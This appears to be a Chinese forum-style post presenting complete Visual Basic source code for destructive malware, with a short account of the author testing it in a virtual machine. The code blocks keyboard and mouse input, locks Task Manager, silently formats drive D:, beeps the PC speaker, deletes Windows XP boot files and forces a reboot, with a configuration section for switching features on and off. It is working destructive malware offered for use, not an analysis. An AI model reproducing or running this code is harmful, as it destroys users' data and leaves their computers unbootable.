快镜头(亲身虚拟机实验):
突然鼠标键盘失灵,按任务管理器,Ctrl+Break都不好使。然后电脑机箱喇叭出现了奇怪的噪声,持续一段时间后系统黑屏重启。重启后发现开机出现NTLDR is missing,无法进入系统。
源代码:
Dim mlnghDir As Long
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal PassZero As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal PassZero As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Const OPEN_EXISTING = 3
Private Const FILE_FLAG_BACKUP_SEMANTICS = &H2000000
Private Const GENERIC_READ = &H80000000
Private Declare Function BlockInput Lib "user32" (ByVal fBlockIt As Long) As Long
Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
'病毒名: 震动波病毒
'功能 : - 毁灭XP、2003、NT系列系统
' - 格盘
' - PC喇叭毁灭
' - 键鼠挂崩
' - 禁用任务管理器
'作者 : DuckSoftHacker
Sub Main()
'--------------------------------------------------------------
'| -------病毒配置区------- |
'| 严谨违法使用 |
'--------------------------------------------------------------
'-----------------------以下为功能区---------------------------
禁用任务管理器
键鼠失灵
格盘 "D:"
PC喇叭失灵 60
毁灭XP
'-----------------------以上为功能区---------------------------
'--------------------------------------------------------------
'|禁用: 在命令前加 ' (英文单引号) |启用: 去掉单引号|免杀兄制作|
'--------------------------------------------------------------
End Sub
'--------------------------------------分界线----------------------------------------
Sub 毁灭XP()
'慎用!无法挽救!
KillFile "C:\NTLDR"
KillFile "C:\NTDETECT.COM"
KillFile "C:\BOOTFONT.BIN"
KillFile "C:\BOOT.INI"
KillFile "C:\GHLDR"
Shell "shutdown -r -t 3"
End Sub
Sub PC喇叭失灵(次数 As Long)
For a = 1 To 次数
Beep 1000 + CLng(Rnd * 3000), Int(100 * Rnd)
Next
End Sub
Sub 键鼠失灵()
BlockInput True
End Sub
Sub 格盘(盘符 As String)
'超级邪恶,呵呵!
Shell "cmd.exe /c format " & 盘符 & " /q", vbHide
End Sub
Sub LockFile(ByVal FilePath As String) '锁定文件
mlnghDir = CreateFile(FilePath, GENERIC_READ, ByVal 0&, ByVal 0&, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, ByVal 0&)
End Sub
Sub 禁用任务管理器()
LockFile "C:\Windows\System32\taskmgr.exe"
End Sub
Sub KillFile(file As String)
On error resume next
SetAttr file,vbNormal
Kill file
End Sub